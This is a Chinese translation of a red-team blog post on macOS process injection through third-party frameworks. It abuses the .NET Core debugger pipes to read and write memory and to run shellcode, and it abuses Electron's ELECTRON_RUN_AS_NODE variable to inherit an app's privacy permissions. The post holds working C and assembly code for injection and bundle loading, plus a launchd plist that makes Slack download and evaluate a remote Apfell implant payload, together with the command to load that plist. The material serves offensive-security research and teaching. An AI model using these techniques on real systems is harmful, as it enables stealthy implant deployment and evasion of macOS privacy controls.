对抗持续增强的权限控制:借助第三方框架实现macOS注入 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

对抗持续增强的权限控制:借助第三方框架实现macOS注入

41yf1sh 资讯 2020-10-21 10:10:00
412945
收藏

导语:在这篇文章中,我们将介绍一些利用第三方框架实现代码注入的方法。

概述

在加入了TrustedSec AETR团队以来,我花了一些时间研究macOS环境下的Tradecraft。遗憾的是,对于攻击方来说,与Windows相比,针对macOS环境的攻击难度越来越大。随着隐私保护、沙箱和大量的权限控制,攻击者难以在macOS设备上放置植入工具。

在杀伤链(Killchain)的后漏洞利用(post-exploitation)中,进程注入是一种重要的方式,Apple也花费了巨大的努力去防范这种方式。从历史上来看,我们以前可以在目标进程上调用task_for_pid,检索其Mach端口,并执行mach_vm_以分配和读取/写入内存。而今天,这些API已经受到严格的限制,只有root用户才能调用这些函数。也就是说,只要二进制文件没有使用Hardened Runtime,并且目标不是Apple签名的二进制文件,那么即使是root用户,也不能查看其内存。

在这篇文章中,我们将介绍一些利用第三方技术实现代码注入的有趣方法。对我们来说,这种方式可以转换为在目标应用程序的上下文中运行代码,而无需再致力于禁用系统完整性保护(SIP)。

请注意:本文中分析的两种技术都不是特定于macOS的,它们也可以在Linux和Windows系统上实现,但是由于Apple对进程注入进行了限制,所以本文重点放在了对macOS的影响上。

首先,让我们看看所有人都应该熟悉的技术——.NET Core。

.NET Core

Microsoft的.NET Core框架是一种流行的跨平台运行时和软件开发套件(SDK),可以使用我们熟知的.NET语言开发应用程序。由.NET Core运行时提供支持的最受欢迎的应用程序之一就是PowerShell的跨平台版本,我们将以它作为最开始的测试平台。

为了展示我们在尝试macOS注入过程中所面临的复杂性,我们首先演示通过task_for_pid API进行注入的传统方式。一种简单的方法是使用:

kern_return_t kret;
mach_port_t task;
 
kret = task_for_pid(mach_task_self(), atoi(argv[1]), &task);
if (kret!=KERN_SUCCESS)
{
    printf("task_for_pid() failed: %s!\n",mach_error_string(kret));
} else {
    printf("task_for_pid() succeeded\n");
}

当针对目标PowerShell进程运行时,我们得到了预期的错误提示。

无法检索PowerShell的任务端口:

1.png

接下来,我们尝试以root身份运行。尝试对没有Hardened Runtime标志的应用程序进行测试,得到了正常的结果。

以root用户身份成功获取PowerShell的任务端口:

2.png

但是,一旦我们开始使用Hardened Runtime标志签名的应用程序,就会遇到相同的错误。

在加固后进程中不能以root用户身份获得任务端口:

3.png

如果我们使用lldb之类的东西,而它拥有com.apple.security.cs.debugger的强大功能,会发生什么?当非root用户尝试访问未加固的进程时,我们取得了一些进展,但是这时也出现了一个对话框,警告我们存在的目标,这实际上就有些影响隐蔽性了。

请求调试权限时向用户显示的对话框:

4.png

再次,我们以root用户身份运行lldb,也无法使用Hardened Runtime调试进程。

调试器无法以root用户身份附加到加固后的进程:

5.png

总之,这意味着,只有在我们以root用户,且未使用Hardened Runtime标志对进程进行签名的情况下,才可以注入.NET Core进程。

既然如此,Apple的API现在对我们来说就毫无用处,我们在没有一个理想的漏洞的情况下,还能怎样去控制目标.NET Core进程呢?为了理解这一点,我们应该更深入分析一下运行时的源代码,可以在这里找到:https://github.com/dotnet/runtime

.NET Core调试

让我们从头开始,尝试了解诸如Visual Studio Code这样的调试器是如何与.NET Core进程进行交互的。

查看dbgtransportsession.cpp中的.NET Core源代码,可以发现这部分代码负责处理调试器与调试内容的通信,在函数DbgTransportSession::Init中创建了一系列命名管道。

对于macOS(和*nix),这些管道是使用以下代码创建的FIFO命名管道:

if (mkfifo(m_inPipeName, S_IRWXU) == -1)
{
    return false;
}
unlink(m_outPipeName);
if (mkfifo(m_outPipeName, S_IRWXU) == -1)
{
    unlink(m_inPipeName);
    return false;
}

为进行分析,我们可以启动PowerShell,并看到在当前用户的$TMPDIR内创建了两个命名管道,其名称为PID,并带有in或out的后缀。

.NET Core创建用于调试的命名管道:

6.png

在了解命名管道的位置和目的后,我们如何与目标进程进行通信?答案位于方法DbgTransportSession::TransportWorker之中,该方法负责处理来自调试器的传入连接。

阅读代码,我们发现调试器要做的第一件事是创建一个新的调试会话。这是通过以MessageHeader结构开头的out管道发送消息来完成的,这部分可以从.NET源代码中看到:

struct MessageHeader
{
    MessageType   m_eType;        // Type of message this is
    DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
    DWORD         m_dwId;         // Message ID assigned by the sender of this message
    DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
    DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)     DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and                                             // never read)     union {
        struct {
           DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
           DWORD         m_dwMinorVersion;
        } VersionInfo;
         ...
    } TypeSpecificData;
  
    BYTE                    m_sMustBeZero[8];
}

对于新的会话请求,该结构填充如下:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
 
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
 
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
 
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

构造完成后,我们使用write syscall将其发送到目标:

write(wr, &sSendHeader, sizeof(MessageHeader));

在标头之后,我们需要发送一个sessionRequestData结构,该结构包含一个用于标识会话的GUID:

// All '9' is a GUID.. right?
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
 
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

在发送完成会话请求后,我们从out管道中读取一个标头,该标头将指调试器会话是否成功:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

在这一阶段,我们已经与目标建立了调试器会话。接下来,就可以与目标进程进行通信了,那么我们可以使用哪些功能呢?通过查看运行时公开的消息类型,可以找到两个值得关注的原语,分别是MT_ReadMemory和MT_WriteMemory。

这些消息完全符合我们的预期,可以让我们读取和写入目标进程的内存。这里需要考虑的是,我们可以在典型的macOS API调用之外读取和写入内存,从而为我们提供了.NET Core进程内存的后门。

让我们开始尝试从目标进程中读取一些内存。与会话创建一样,我们首先制作标头:

// We increment this for each request
sSendHeader.m_dwId++;
 
// This needs to be set to the ID of our previous response
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;
 
// Similar to above, this indicates which ID we are responding to
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;
 
// The type of request we are making
sSendHeader.m_eType = MT_ReadMemory;
 
// How many bytes will follow this header
sSendHeader.m_cbDataBlock = 0;

但是,这一次,我们还提供了一个希望从目标读取的地址:

// Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;
 
// Number of bytes to read
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;

我们可以借助下面的方法,分配一些非托管内存,来针对PowerShell进行尝试:

[System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("HAHA, MacOS be protectin' me!")

可以使用概念证明(POC)代码轻松读取此内存。

从PowerShell中转储内存:

7.png

当然,通过使用命令覆盖内存注入PowerShell,我们也可以实现相反的操作。

将内存注入PowerShell:

8.png

用于执行此操作的POC代码请参考: https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5

.NET Core代码执行

之前我们聚焦于如何将代码注入到PowerShell中,接下来要解决的问题是,如何将读写原语转换为代码执行?这里还需要考虑到,我们没有更改内存保护的能力,所以如果要引入类似Shellcode的内容,只能写入标记为可写和可执行的内存页面。

在这种情况下,我们有几种选择,作为简单的概念证明来说,首先可以确定内存的RWX页面,并在其中托管我们的Shellcode。Apple限制了我们遍历远程进程地址空间的能力。但是,我们实际上还可以访问vmmap,其中包含了很多权限,也包括用于访问目标Mach端口的com.apple.system-task-ports。

在PowerShell中执行vmmap -p [PID],可以看到很多适合托管代码的内存区域,下面以rwx/rwx权限突出显示。

使用vmmap识别内存的RWX页面:

9.png

既然我们知道了将Shellcode注入的地址,我们就需要找到一个可以写入的位置,来触发代码执行。函数指针是一个比较理想的位置,不用太长时间就可以发现许多理想的目标。我们用到的一个方法是覆盖动态函数表(DFT)中的指针,.NET Core运行时使用该指针为JIT编译提供帮助函数。可以在jithelpers.h中找到支持的函数指针的列表。

查找指向DFT的指针实际上很简单,我们可以使用类似于mimikatz的签名搜寻技术来搜索libcorclr.dll,以查找对符号_hlpDynamicFuncTable的引用,随后取消引用。

生成搜寻_hlpDynamicFuncTable符号签名的指令:

10.png

接下来要做的,就是找到一个地址,从该地址开始进行签名搜索。为此,我们利用了另一个公开的调试器函数MT_GetDCB。这将会返回有关目标进程的许多有用信息,但是对我们来说,我们关注的是返回的字段,字段中包含帮助函数的地址m_helperRemoteStartAddr。通过这个地址,就可以知道libcorclr.dll在目标进程内存中的位置,并且可以开始搜索DFT。

现在,我们已经拥有了注入和执行代码所需的所有内容,可以尝试将一些Shellcode写入内存的RWX页面,并通过DFT传输代码执行。我们使用的Shellcode非常简单,只需要在PowerShell提示符中显示一条消息,然后再将执行返回给CLR(以防止崩溃)即可:

[BITS 64]
 
section .text
_start:
; Avoid running multiple times
    cmp byte [rel already_run], 1
    je skip
 
; Save our regs
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
 
; Make our write() syscall
    mov rax, 0x2000004
    mov rdi, 1
    lea rsi, [rel msg]
    mov rdx, msg.len
    syscall
 
; Restore our regs
    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax
    mov byte [rel already_run], 1 
 
skip:
; Return execution (patched in later by our loader)
    mov rax, 0x4141414141414141
    jmp rax
 
msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
.len: equ $ - msg
already_run: db 0

编写完成上述Shellcode之后,我们将所有这些组合在一起,看看执行过程究竟如何。

演示视频:https://youtu.be/KqTIrB_WUgA

用于注入Shellcode的完整POC代码请参考: https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6

Hardened Runtime是否能防范攻击

现在,我们可以注入到.NET Core进程中,还剩下一个明显的问题,就是Hardened Runtime是否可以阻止这种情况?根据我们的分析,设置Hardened Runtime标志不会对暴露给我们的调试管道产生影响,这意味着Hardened Runtime标志签名的应用程序仍然会暴露上述IPC调试函数,该函数正是要实现注入所必须的。

举例来说,我们看一下另一个经过签名,并启用了Hardened Runtime标志的知名应用程序Fiddler。

与Fiddler应用程序相关联的Hardened Runtime标志:

11.png

在这里,我们找到了Hardened Runtime标志集,但是,启动应用程序仍然会导致创建调试管道。

在使用Hardened Runtime的状态下Fiddler创建的命名管道:

12.png

尝试向Fiddler中注入一些Shellcode,以确保一切正常。这次,我们使用的是Cody Thomas的Mythic框架,将其中的Apfell植入工具注入到目标进程中。

有几种方法可以选择,但是为了简单起见,我们使用wNSCreateObjectFileImageFromMemory方法从磁盘加载Bundle:

[BITS 64]
 
NSLINKMODULE_OPTION_PRIVATE equ 0x2
 
section .text
_start:
    cmp byte [rel already_run], 1
    je skip 
 
; Update our flag so we don't run every time
    mov byte [rel already_run], 1 
 
; Store registers for later restore
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
    push r8
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push r15
 
    sub rsp, 16
 
; call malloc
    mov rdi, [rel BundleLen]
    mov rax, [rel malloc]
    call rax
    mov qword [rsp], rax 
 
; open the bundle
    lea rdi, [rel BundlePath]
    mov rsi, 0
    mov rax, 0x2000005
    syscall 
 
; read the rest of the bundle into alloc memory
    mov rsi, qword [rsp]
    mov rdi, rax
    mov rdx, [rel BundleLen]
    mov rax, 0x2000003
    syscall
 
    pop rdi
    add rsp, 8 
 
; Then we need to start loading our bundle
    sub rsp, 16
    lea rdx, [rsp]
    mov rsi, [rel BundleLen]
    mov rax, [rel NSCreateObjectFileImageFromMemory]
    call rax
 
    mov rdi, qword [rsp]
    lea rsi, [rel symbol]
    mov rdx, NSLINKMODULE_OPTION_PRIVATE
    mov rax, [rel NSLinkModule]
    call rax
 
    add rsp, 16
    lea rsi, [rel symbol]
    mov rdi, rax
    mov rax, [rel NSLookupSymbolInModule]
    call rax
 
    mov rdi, rax
    mov rax, [rel NSAddressOfSymbol]
    call rax
 
; Call our bundle exported function
    call rax
 
; Restore previous registers
    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax
 
; Return execution
skip:
    mov rax, [rel retaddr]
    jmp rax
 
symbol: db '_run',0x0
already_run: db 0 
 
; Addresses updated by launcher
retaddr:                dq 0x4141414141414141
malloc:                 dq 0x4242424242424242
NSCreateObjectFileImageFromMemory: dq 0x4343434343434343
NSLinkModule:           dq 0x4444444444444444
NSLookupSymbolInModule: dq 0x4545454545454545
NSAddressOfSymbol:      dq 0x4646464646464646
BundleLen:              dq 0x4747474747474747
 
; Path where bundle is stored on disk
BundlePath:             resb 0x20

我们利用加载的Bundle来实现JXA执行:

#include #include #import #import  
void threadStart(void* param) {
    OSAScript *scriptNAME= [[OSAScript alloc] initWithSource:@"eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://127.0.0.1:8111/apfell-4.js')), $.NSUTF8StringEncoding)));" language:[OSALanguage languageForName:@"JavaScript"] ];
    NSDictionary * errorDict = nil;
    NSAppleEventDescriptor * returnDescriptor = [scriptNAME executeAndReturnError: &errorDict];
}
 
int run(void) {
#ifdef STEAL_THREAD
    threadStart(NULL);
#else
    pthread_t thread;
    pthread_create(&thread, NULL, &threadStart, NULL);
#endif
}

如果我们现在按照针对Fiddler的.NET Core WebUI流程执行与之前完全相同的步骤,来实现代码注入,一切顺利的话,就可以将Apfell植入工具注入加固后的进程中,并派生出植入工具。

演示视频:https://youtu.be/-e4OrX2nmeY

用于注入Apfell植入工具的POC代码: https://gist.github.com/xpn/ce5e085b0c69d27e6538179e46bcab3c

好了,现在我们看到了运行时这些隐藏函数的实用性,但这是.NET Core的个例吗?事实证明,不是。我们接下来看一下App Store里面的另一个框架——Electron。

劫持Electron

众所周知,Electron是一个框架,可以用于将Web应用程序移植到桌面,同时能够安全地存储RAM,供后续需要时使用。

那么,我们如何才能在经过签名和加固后的Electron应用程序中执行代码?这里就要引入环境变量——ELECTRON_RUN_AS_NODE。

这个环境变量是将Electron应用程序转换为常规的旧NodeJS REPL所需要的全部。例如,我们从App Store中获取一个流行的应用程序(例如Slack),并在设置了ELECTRON_RUN_AS_NODE环境变量的情况下启动该进程:

13.png

这也适用于Visual Studio Code:

14.png

Discord...

15.png

甚至是BloodHound:

16.png

我本来以为这些是0-day,但实际上已经在文档中发布过( https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node )。

那么,这对于我们来说意味什么?同样,在macOS环境中,这意味着,如果我们对某个应用程序感兴趣,或者允许针对Electron应用程序使用隐私控制,那么就可以在带有ELECTRON_RUN_AS_NODE环境变量的情况下执行签名和加固的进程,然后将NodeJS代码传递并执行。

我们以Slack为例,尝试利用该应用程序通常允许的桌面、文档等区域的访问,来解决TCC问题。在macOS中,子进程将继承父进程的TCC权限,因此这意味着我们可以使用NodeJS生成子进程(例如Apfell的植入程序),该子进程将继承用户授予的所有隐私设置允许的项目。

为此,我们将使用launchd通过以下plist生成Electron进程:

< ?xml version="1.0" encoding="UTF-8"? >< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd >< plist version="1.0" >< dict >
    < key >EnvironmentVariables < /key >
    < dict >
           < key > ELECTRON_RUN_AS_NODE < /key >
           < string > true < /string >
    < /dict >
    < key > Label < /key >
    < string > com.xpnsec.hideme < /string >
    < key > ProgramArguments < /key >
    < array >
        < string > /Applications/Slack.app/Contents/MacOS/Slack < /string >
        < string > -e < /string >
        < string > const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]); < /string >
    < /array >
    < key > RunAtLoad < /key >
    < true/ >< /dict >< /plist >

然后,我们可以启动任务,加载plist并使用ELECTRON_RUN_AS_NODE环境变量启动Slack,通过OSAScript执行Apfell:

launchctl load /tmp/loadme.plist

如果一切顺利,我们将按照预期返回到Shell。

Apfell植入工具返回到Mythic框架:

17.png

通常,在这里,当我们请求~/Downloads之类的内容时,大家可能担心会向用户显示隐私提示,但实际上,由于现在是Slack的子进程,因此可以使用其继承的隐私权限。

演示视频:https://youtu.be/1_3Q00-c_JA

当然,如果攻击者在未获得许可的情况下请求访问任何内容,我们可以让合法应用来背这个锅:

当加载Apfell植入工具请求访问时,显示的TCC对话框:

18.png

现在,我们就已经掌握了几种利用第三方架公开的功能来解决macOS进程注入限制的方法。这种注入技术适用于大量应用程序,考虑到Apple在macOS系统中不断加强的限制,这种效果也令人惊讶。我们希望,通过展示这种技术,可以帮助一些红队成员更好地实现macOS后漏洞利用的注入环节。

本文由Adam Chester(@_xpn_)撰写。

本文翻译自:https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务